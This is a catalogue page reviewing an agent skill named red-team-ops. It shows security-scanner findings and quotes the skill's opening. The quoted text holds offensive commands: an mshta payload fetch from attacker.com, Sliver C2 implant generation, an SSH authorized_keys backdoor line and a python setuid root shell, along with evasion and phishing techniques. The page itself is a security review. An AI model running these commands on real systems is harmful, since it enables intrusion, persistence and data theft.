Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add hypnguyen1209/offensive-claude --skill red-team-opsgit clone --depth 1 https://github.com/hypnguyen1209/offensive-claudeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/hypnguyen1209/offensive-claude/red-team-ops)<a href="https://agentmods.dev/skills/hypnguyen1209/offensive-claude/red-team-ops"><img src="https://agentmods.dev/badge/skills/hypnguyen1209/offensive-claude/red-team-ops/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/hypnguyen1209/offensive-claude/red-team-ops"><img src="https://agentmods.dev/badge/skills/hypnguyen1209/offensive-claude/red-team-ops.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 11 findings, up to critical
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- critical YARA Match · line 7 YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).Fix: Remove the malware payload or compromised file entirely. Investigate how it entered the skill and audit all other artifacts for additional indicators of compromise.
- high YARA Match · line 118 YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).Fix: Remove the malware payload or compromised file entirely. Investigate how it entered the skill and audit all other artifacts for additional indicators of compromise.
- high Privilege Escalation · line 125 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high YARA Match · line 125 YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).Fix: Remove the malware payload or compromised file entirely. Investigate how it entered the skill and audit all other artifacts for additional indicators of compromise.
- high YARA Match · line 148 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
- high YARA Match · line 160 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
- high Privilege Escalation · line 186 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 187 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- medium Rogue Agent · line 77 Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.Fix: Remove any persistence mechanisms (cron jobs, startup scripts, state files). Skills should not maintain state across sessions without explicit user consent.
- medium Rogue Agent · line 97 Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.Fix: Remove any persistence mechanisms (cron jobs, startup scripts, state files). Skills should not maintain state across sessions without explicit user consent.
- medium Privilege Escalation · line 174 Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.Fix: Avoid sudo/root unless strictly required. Prefer least-privilege patterns. If elevation is needed, document the justification and scope.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00041 | $0.02082 |
| Opus 5 | $0.00020 | $0.01041 |
| Sonnet 5 | $0.00008 | $0.00416 |
| Haiku 4.5 | $0.00004 | $0.00208 |
Grade B, and why
red-team-ops scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 13d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Reaches for credential filesmediumPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
echo "ssh-rsa AAAA... attacker" >> ~/.ssh/authorized_keys Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
# cap_setuid+ep on python3 → python3 -c 'import os;os.setuid(0);os.system("/bin/sh")' How it starts
The opening of the file, as written. The whole thing — 265 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Red Team Operations
When to Activate
- Simulating advanced persistent threat (APT) operations
- Testing detection and response capabilities
- Establishing persistent access and C2
- Evading EDR/AV/SIEM detection
- Privilege escalation on compromised hosts
- Data exfiltration planning
Initial Access
Phishing Payloads
# Office macro (VBA)
# - AutoOpen/Document_Open trigger
# - Download cradle: PowerShell IEX or certutil
# - Sandbox evasion: check domain join, user interaction delay
# HTA (HTML Application)
mshta http://attacker.com/payload.hta
# ISO/IMG mounting (bypass MOTW)
# Package LNK + DLL inside ISO → double-click mounts, LNK executes DLL
# OneNote (.one) with embedded scripts
# Drag-and-drop .bat/.hta behind fake "Double click to view" image
# DLL sideloading
# Find legitimate signed EXE that loads DLL from CWD
# Place malicious DLL alongside legitimate EXE in delivery package
Delivery Mechanisms
# Smuggling past email gateways:
# - Password-protected ZIP (password in email body)
# - HTML smuggling (JS constructs blob → downloads file)
# - QR code to attacker-controlled site
# - Legitimate file-sharing (OneDrive, Google Drive links)
Command & Control (C2)
Infrastructure Setup
# Sliver C2
sliver-server
> generate --mtls attacker.com --os windows --arch amd64 --format exe --save implant.exe
> mtls --lhost 0.0.0.0 --lport 443
> https --lhost 0.0.0.0 --lport 8443 --domain legit-looking.com
# Domain fronting / CDN hiding
# Use high-reputation domains (cloudfront, azure CDN)
# C2 traffic appears as legitimate HTTPS to CDN
# Redirectors
# socat TCP-LISTEN:443,fork TCP:c2-server:443
# Apache mod_rewrite rules to filter blue team probes
# Malleable C2 profiles (Cobalt Strike)
# Mimic legitimate traffic patterns (Slack, Teams, O365)
C2 Communication Patterns
# DNS over HTTPS (DoH) — blends with normal traffic
# Domain fronting — SNI vs Host header mismatch
# Named pipes — internal lateral movement without network traffic
# SMB beacons — blend with normal AD traffic
# Websockets — persistent connection through proxies
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 13d ago First seen · 265 lines · 41 tokens per session scan B 6e1d7e94440e
red-team-ops is a skill published in the GitHub repository hypnguyen1209/offensive-claude (360 stars, last pushed 26d ago), licensed MIT. It adds 41 tokens to every session and 2,082 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it B with 2 findings (reaches for credential files, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
bt6-queue-audit
Audit the full pull-request and issue queue of a BT6 research or support repository, classifying readiness, evidence risk, and next action without mutating tracker state.
bt6-issue-steward
Triage and steward issues in BT6 research and support repositories, deciding whether to answer, reproduce, correct evidence, link work, design a feature, route security, implement, or close.
bt6-merge-train
Run an explicitly authorized, conservative BT6 merge train that processes validated pull requests one at a time and reconciles repository, CI, evidence, and issue state after each merge.
bt6-pr-audit
Audit one pull request in a BT6 research or support repository at an exact head SHA, covering correctness, research integrity, security, tests, contracts, and merge readiness.
bt6-provider-review
Audit an external AI/API provider and its integration into a BT6 repository for service reality, independent verification, trust boundaries, secret handling, API/model correctness, completeness, claim traceability, and merge readiness.
xiaohongshu-search-full
Search Xiaohongshu (XHS / RedNote) notes by keyword with full field extraction including body text, topics/tags, image list URLs, video stream URL, publish timestamp, and all engagement stats (likes, collects, comments, shares). Supports all page filter options: sort order (general, latest, most liked, most commented…